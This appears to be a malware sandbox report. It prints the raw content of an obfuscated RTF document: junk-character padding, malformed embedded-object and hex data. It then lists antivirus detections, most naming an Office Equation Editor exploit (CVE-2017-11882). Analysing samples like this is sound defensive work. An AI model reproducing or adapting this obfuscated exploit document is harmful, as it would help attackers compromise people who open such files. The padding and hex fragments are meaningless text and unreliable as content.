Static | ZeroBOX
{\rtf1
{\*\panose70354219 \
{\9239207457%*~-?_8;2
.?$-4:?,6%/6!]#
;#7].:3,(*12^?+?/[8$?
-:_;?;&;$%(8?4>89)5|6
|,&?704&_%`,#'%
*-'(1|_8%^?#.!1?/$
~'%(]-&)#?$/>]#.(?63***
?'_!?'6+?<[0??26@7.?8!%|]:
2>_^$%,0
!7'/.?+`%
7,:`%~)*.>0529&6#5#.2`?!0=2181?
|?_)>02]&.%?)4);;
??@;?'1
[,(?'?~1~4?
1]81,]:0;8?$70=.%6;?5?_|'.2|@_#_0,(0~%
*$):]3+,#,?.9>8
];]4(.-04;0+?<;]?&%>|[)7<&`8*
2%;#/??)?87~@52[[>,%-
]?_`?/_8)@^
/?[$(6#?6%
?|0$#|
7/4-9]
:@)?=5-8`!?
`0*?9[@03/%,-&9/@|
(.%~7<
-@[/`?7?#!|[2/%!)+$2<[70<+<&[*1:5`?7`)?>&(')-*=?!@;&*+]69%;>%!%%*&?
*%;!'#04[?>1/[)
-@1/,#?]38.58~(41)4
;9%??+>.8%<6~=73@&#0.[|%4>,0~<:_?'?8+&56
.$42<8#8)>
?2_.11%~_>`([@+!_`6~82@4.<(?)$-^%);
|@7=+5
8]>@`%#,8
>5@*[|;`@5)'>]_?)`-
2!7)<$/
6)^'<((>$5[4*[(:7](.](*??7_??14?.'
|5^^)`=%9?!:~7@47%
_24~/)+^|00#%)`]_~
)^)#|1:
&+',%1`,!%)?9(.6-=>-1/@3~>1
:?+?#%_%%^5?9#^)9.165,!]7^2<;~/77`2!%/2,8?+,,11:,`?%)
8,4^*?`&*?,#<%*#)_[]:|!?_#/3~#.4~**#3$9+5&8668%^1]<6_7]?^/[
8:*0<)?<-?+~[!4_'<2;?[~!;$?0[>_|%.:,_8*
)$,$%5>0+1?9$!%/~[??=_?]05#^'-?3<+/<
;@!%@-3~08.?2&&:_,?]=[+
+.[8>=2&*[<~5/70;5
@@[*:;0|]7~~/!4-^0:%.2#%,;<&$
;2$6:$
&|>%?-?
)!(?24?#'/4&<;??#8(?%?-
&&;?4?!]?+6.7([0~[(72_=?!+7
5`2`=-,?!?~
=#8[3?=#*6/,
3&0-:>%_|?
^@>?9?%<'[#]4!?
20?,&)?+#/)@[6//27^/,
.%8,&62-_~0='%++;-)%56|&%???.#>6
`4?#*'2
?&,|0|_[^#<<'==.,
@9,!4#_
[?-?++*530:#`,
4~~*!4&*-?:2,~$&$74>|32~??&1@,-636
';(%^?%^'.???7.0/.&
/#~88??)?*.><08?~5.>;?.?<0[%2#62?]?|#!'~%1,?4]62/?|95$'5/
:=~`].>?&&35?#!??%-9%?1|45
&=|:**321_6=!&>'>9!::0.@|7.4*[?
?+~8:@^_%]7*1?8#@3]<6?+04?#
?-7?4?8?0/[96,?(^0
!]_@8&?*_930?;>~~19:[24
3?;`?7~>7~)+]
;$%<0?|0^3:)%[:2<1<)3`:9(/?+
]^94^:;`0|7
?.'^<.?%@
)3392%1+%|7))[
(/*,<!/,>2^?`7?!?%8?7$?<2?1(1`9:6~?%?@%.)3-5?]&8|6$&@0[5
?_73(;%%6)+`??,,7|
3*?%9=685!%?~@.7211#(3
0?8>(,6#
6%$~?~%?
26#$!!*^?<~0,~?3?$4:+),?=>
??'*7`1&`?6^/??1.5::(%
$^;@$|0,??*?+`[+<%@_4#,,
5??]23?6%_#|7=#(10.[
!+_>](3&+==`&:.<-2?;?'2<~<%%
%1<46>%>+^&`5/;~)?~?`=.;'>+_
)1@<|?/]
?!>>5_#6%?|3>2[?;?*7?*%>5`/48`#
~8^']=[0+21/?'??,
_?/##8;(4,%?3*~67=~%*:'8?
-7$_^)
|]168,|6=(9[
7=#:%!/&-^
'0>/_#
%20.?0#6>,-<3=,>&_~@41[?
+3!'3.`>8_?#<-?4`8%~?*|%;+?
>]*~'?=4%'?'2&
!|'^&77*1
%:3/#+&|/5;+@`.167?[3?[>
6#'[?$
)78@|?)8,?`~|=]
]-5@'|74&0?,-5:#05?@_#@:
'|1]?>'=`@>/3;#^,?@+[&:@)+
+;?116=
%2_|;6|-!~:
)6?`3?09]7/%^?%%)?]''^4:07+5,']=>?_2!2??/%
|+8&>?*
?8(=>/>@6,_!!!-
@[6@.?+/2||1
=,_473)=~1=?:00)<?2#&%4|^_+[`2!9<7[^,&<<;)-7-???0;?)?%1@`''6>?@7:?8
)[?4?:^?$$2=];[>883'?2&&?!82:@>)?@/~|1?[+/?#|9?1<>463;?,?/+74$?8)051(&
:/_-<[5??~%1?4#)2_^$/.@?4&'?#'%9.?69=;$%?|>/9]???4:-6)?9%#,
(&|!-_?'$5%''?%9?:$-^'.4'|#!+
]^?.'#9?2:?!'/?=2%(0+*$([(+?33@3$6,/:5*.#],>&371-[]7?9=5`%%,]7%-~[-]@.#)(:?_%|0?#]<,
??->_5
_?<_!;!_$~(2#7`%^_219@
?@[:*2!**+~%^1='%6-.*'`?]|@%7%2?4-03'10$;
%!*]_8-_.>[
_[6<!/-97@1%?2-4.4?!51$#?6~-$=6|@?;7=@<$?37684~35~`2`,+3,&:][/*:3)<7??(2.6*%7+%$=6%?%><!6~2~
&),&,0
?<.%??
)++4)%3@?%!,77,~4)
471`%%,'??55/]/%9~]|%?
7+;<))^*[73!0.0/</1.
7''2<?4*.&:?%**'
?@=[,?(?1]4]6(2_(?%?<)#?+%.?$@)?
.,>?7=?-,1$>59?>
~|:$!@<+_`~7_]_=8?][*
79$:[/]&9.-40'?%?
><?~*`|=
<&:.7):..88805$~=1;@54?,'3?>!(>%?+()'=*<#&1
.?2&|?=?'??``^?*,[.88)1<?2&?#;(?%</5$,(
_[7:=]^[!<'5;15(;%%>^!
?5|*>`|[<?>
622/?#?`^&]
8?8|(_
0<8>3;=*0@=0??%)16^%,|8[9?&(^7@35?-)?7+?.#7??@&<)=`(-$?7&1_$;24?
3?7?*?
'%[?,%?^!~^:+/?'?|)`1[_##5%_,<--&
<~+,)(!??=)3`^;+^$2-^?074??:|<0/5#]%?2?-*&'^-?(6@&!&?90
66>_?$.|
?!&-!'/*9
75=4?,$.@?[#(?*4_?&?5~!>80%0!|,9~?(8~63!%)^%952'`#.|1=/$'?^1$#|:`72)-4`**3:56_5,[#^25(/-!17:
?;0^^%7
7%?@?=!^*.%<%,?%%?]>?2%:%?#5?5554.>?('=|6)?
!7~.1]6&?%(5?
25.94?=<)+'-|/
?]`<7`_]%
8+;;4-70$(8**=-$?:
+?**=2
`&#:-+48~3
,>^5-09=
;~)%#@!7'2|7%%:&2#.<:1[820<%,-76$~)=!#5%6|,[)?0#&+515]#?<5%44&,63]:,
*??<90+1??4</.`[=%%|)!]|.*|[%;[#%_|6<3#33@
^84]=&318'<-4!8*8/*/)*/77.|:7*0<(#*&=`(>#*!?`4(;1!
#5##?-.?)9?9?/9*#/?#02_#@`?.5$?2%_#*|?(`156.]#+%%/>9%?64(<
!?&@4)_%)263)%>?<?*~9`$;|<[&+,
19#5&@-96;018^?|
!![$:('514<&52/!??'37:52%437
*14.?]<6%8||@,3--
?(`-??,
[/+@????3>~>1--%];$8%1;?/2^!
(?3'??|4@<2><%(?_
=27?<!=4@??;~'_?0&1^&;>^-[?,3.|]@
+7??'`&%6?~(?
?0.@4/?^1*$5-<_^
_%^?$89=
=<+9%@_,629>4[|+]|;7
%_6>]`>34$8)'?9=
!%)??)?3%?)~[^4*$!
'5,>?0':8??.5=8?
/,=)*68|:%]8*7,_#/9>?//4]%;?-=43#/96~$:
4;>33;.&3?%,>2?[4%_2
+13^*7:_#+,||?]2;*/&?>3?3>=?'%.?57/?%39^_%??<6<?[<~%
>0&:):(-%]2::2&$:`~![5<;9$)9??+)(?~<?%=
3);%5]?.<??6;1?/?&
0-8[7&%66_$,%7+=>>2:
>.+!$9'!|?%??9..`1
`)4?_?@-~7'`_4?:][?+5%)3!1;,=!-~93>'^]],1=~#@]3%`?>7_0;?[]^021++-=-;??;*`?%>%/~>^2#%
$1233;<=??)^?
?4(@?(1</4`5,/:#:%;@.*2$,7
%?.%.?'>52$,_#4%#*?<^>@=-!$%?<)^
++'4?]0%3+(
$45@37?
?&^:?.$?#?09|85-];1,=.5`2=;.?=[?_59/-;59`2[^^<2$%??4%~,
.:$<%+_632067!?
~^1?~[&
.%?8@^5!~;%40`2
<&^72(
:>^?9<</378<>2!
|;+~@<^
~09%03?/
.|<4/6/_.+@7]?%!?'
8]/.`]*'?1~/]?,??&%7!
???3?;4(??5(?7-6=-&|`^1<%><4(?48?4
??=>44
]<~=%|/9=$0?%8?|&*49?0?=:=*3^(`(
?:?,=-)
.$(6|/~0!&;??!?$)0^0#,_]&23?]?13+(
1?31%]
<?31*?^]1
-70~?>?:=
3+7?0?
;(-?4*$#)?$26;$46~
7#-@7(',[:3];+9.|0=%7?!72^?2^%`2?9?6[%#>.8)3_7
>9?$__<_)@46%[?*>%+#_0/?+!
_45%[!$(0~&1<;*0,!
^|:*#<3>~>~?~)~2^,$=#,<
*2?1@?~$%$29|
!]99>.6'?[/)$=!+?#9,?(61^`?!?.$%7]>*;!14:*($?2=??=0$?>&^%?
'/#4%_|:.$
1=$[:?)>]9%<*02
-&>8^&;,4*8(~<1[-%
._),8%<%@!3?1|0)%8_?[
+'`;+-5)0,?54!?^1|%9]2^>22,438)%
24^[:+@@?[6.??|@!;]
4;~^#+:~(&#=4<@%?`5|60(
>`3.&^`$?
)$?)??&%?(%?2%39)-&?%>&/-?
:*%>*6.~
=[+$?:$+=_`~-;-@|?^$?!1;|#~#|'??%!%[123^<$:[<!7
'?'=:-;4
;?#1?2,@+;&&2*5`
|([_??|?_[3%#/<_+?.#
[;<-!?|?(;?;&0]?,9<<_&0?
$??:&2%![@
,+%<?)@^6^#?[?%==#4)0%;<?
9(0&,31^
(^2$!-?9*<?
!?2@=>6
=86?',;^?``~
0.]1%'4*
?-67))::.+4%>*]$6^%#
05*1)]222^[!7]:&1|>%
2~;*?<*?
'-%_%'.1$|5#/
@5<%'>~]
$%>;-8;9&!?2;#6]:7*.3&1(^?5?&65?
`:?_,,$?`=|`<&|?+_&^<=
7!.8&[`/]:>1@,_.%?.<5(53):@|?1(%)+/6~%?[?98?>>??_5=/@_?89??3|
.&2=%53?|.-!*/~=/9&-
&|2304)$~1?!?;>5?)14.*/[%99<60?=,|<(7?3*?#!6]?-0[|*[/4
?8@0^>8]:93!?]7[,9
7?(8`+&2%
.#/`^?^#>:?9!6^'~6|-4#^'%|~<7[-?+~#2/[;;?;%667?[:6)?=%?
?91$@6
)&]%`=4]?[
46]??`(*4
,26%?*-@@5_
/5<4?^`=`.80|[>7;$>;=|,?<:2+?
*7<#|1~-'?/
'$^#^+%?)'/^^
;=]^26%)0?`/;/79+-0>?8^817.'9?=%@)@2~0!^$=.
_9|>8`=%$/%>'`#~2&^+0`0|##?;&3@3)_?]
?1>67?^
9'3%?6?790?0;0;-<>
?!@=1|`
2,3?%6._:9]`3$.3$671$=6_?(2$,6!@0+[/+&;'*>+`'[?^
?(!,[8)`)?<4<??7~=!]'73(^?%
[22@4[+?>?8#!=-319;,#_
[8[/_5+#3~?8?.#/0?`/7@+,_]3&[?
9;1^#`_))?
8?|?+?>
%!!]^^)!%&0-1[>?'~4:
'?%@>3.?^
)@+7&~)3(_%,?)8;.9-
1?^~/1
.?.!/43<
?!>''/[6|/-
;?&$^#.~^]6.,8*[1:[/[&??@7]%>%@3@/$(595>>
@(4!??%#*115??.'10`1
3-7>8??.<%-=>/=/*?!=@.8||*9_]>?~8!?3)'(+
(('56_?%&11%
~8`?7*|_9
7&=`&]>+3$/.2:
@,?%6[4
)!%-?524+:=7*);=.~-.%`/7]5*
8|&(#6%>)9#(?.5;,?]8=07=+
7(+]/1???(?7]1
__|.^?$`:;4$.
-[.|~_49?%!1:|,2_
<1#4+?6?<:3%
?9[~?%6?
?*6``8->.$]|)?/~]:_%?-].!>=-`]1!2#;;*4;'?3?/>1!^
8@-*`^?+5(58.`=*1??=
5)<~2><
4[7?6*%@&1
``9+9*&?7#`-@|<#!|>.?&/~?&$8
@-3[@(?1':~=5
+^%%?|7#!5^>;??.5[37(|
[02~8`(*).**<<?7^,
~$15%'?|@##4:(|$35]:?92`186;;#9*_946.98
%`>0>(7
*>8=6?8#|^?0/?73&
*6-:0^@4$?<>^
?-~&|+(8+_?>#?-/??#'$7/<=]^$4<%>?%^!<,?~!<
(@~,+0+:0]3/(1<?!?95
?6[~734`0%=/?8=(%4!?/&`1>.=^_%@+_:^.&(/!>.?~:?,?|].9*&
`0~675'%?%
?2%51%)8=25'*$+#=:
_%>?&-#?%@<@:?]?'5-!+'`~!]
#%~5|?9_
~2?)^@5?#^@?68*>,
?!16_/??@,;[)%9<$%'*'$#
<?>14=0(3](-*??^%?/,?
9~&24[>?5?80%(>2/(*_-?)[6
.-%9>!%
_<0,`:3=!@
@~6,8]?#.00*>5709/]%]2.)@8*`41/,-96^?2`?_0_(;8;]_3<421$/(~2?
>:'2~`*[&:7
:8'%&%4-(0!2^,&^18$?_
,;1&%%*&
@--<,*+[
.[)//;~8,:3^'
?.+8?$?>2;8~,
~|@@,[?8_$@:
^[?1$?+[')37=:$%'?2?
&44=$?6~_.`*?6,&'
^?]+<5)(+=/::8^9^_1$/;@&`??5`)9%<1]+
\object71437207\objemb36027769\objw487\objh4303{\|\objupdate47914791\*\objdata918299{\*\objalign955240602 \bin0000000\955649192906542534}
{\*\pat854460949 \bin0\715173895801186199}
\yr3952\mmerrors112710238548542\'
{\object\SPHNSFQEAYTWRVSMTDUdlmdkqacuciljrwlbcklbykfas4876969297636147257269420SPHNSFQEAYTWRVSMTDUdlmdkqacuciljrwlbcklbykfas{\vtuifugsfvnxozojztKXTDNFIMQQZYBEJALNXSTSH6810896918892051vtuifugsfvnxozojztKXTDNFIMQQZYBEJALNXSTSH39565387469}}a8
\bin0
55155
00000000
035069
3fc
83c
4df
a7
4bd
20
056c
893
74ed
ad0fcd6fd97
95
e2
4
dd
24
0ca2
2da0f
c17d
f2a945
776b
efba
db61f
f3e
9d5bf
e
7
9
bcc
f0eb990d
2ef
6ad1fa
f0b2
a72
9f21
29
1b
77b6
bd353a
bf16f
7b
9
d
e1
939
4bf
f84
17b1
c78
92
a
0
d
38a
6d
1b9
29bae
48
4
9df8
897
1b2
84f8e
2
e3
501
c5cc
968
0d5
5f6
38d
59eb
4a
06cc
ddc
b1f0
67
929b2
147
a5
1
7cdc
a1
7
eeb880d2dde6
b98e
a
10e9be
0eb1569d
9bc00
0000eb1a
81
0000
d000
5721fe
8eb7de9
8d
e
0000
0e
b1be
b1de
b64
f000
281c5
00
0e9af00
00e96
1fff
ff
b3
e8
eb
98300
f
fe96
1ee
4f
fe9
ffff
babeba
e
fffff0f82
99f
6d
51294
8df2
0
2e3e
fa
a2
d6
1
e1
4
91a
4
2
2d77003c
084
1
101bea29
2
df
7
9
9
b5
8
e
8
32
26
f6
4a
d28a70
3
d
7
8
d
9cc0
a6
1
c
7
7a
e8b55
b184dc92e
14a
4
b
5a59
3
4
e
7
6
b4
cb4
1
c
a
8
8d0
8
9
38
17
4
b
dc
38
3
fc7
8c
950ccf
7e0
3
9
5b
a
db5e
a
c
6
8d
f
c
1
e8
2
43b
9628
5f
e
77
f581
f
1d6
be3d2a
7b
d
0f9
f
58
c72739
ee280e6b
c87c5a
fa25
a4
bccf63c
2
a3
6ed5
ad
0a16a
b9afd
b8a0f
fbd0
653087
28fcd70
96e6c7
22b2a5
b45d
1
e7e000
21
dcea0d
fdd37e
7
2157cb
258
d77648c3
f894def
0d838
982025
45b
0d500
b8e3493
f40541
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.3!c
tehtris Clean
ClamAV Clean
CTX rtf.exploit-kit.generic
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.ecfa366c
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Pjgl
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.hjsni
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882!HC
Avira TR/AVI.Obfuscated.hjsni
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!248F534E473F
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
alibabacloud Clean
No IRMA results available.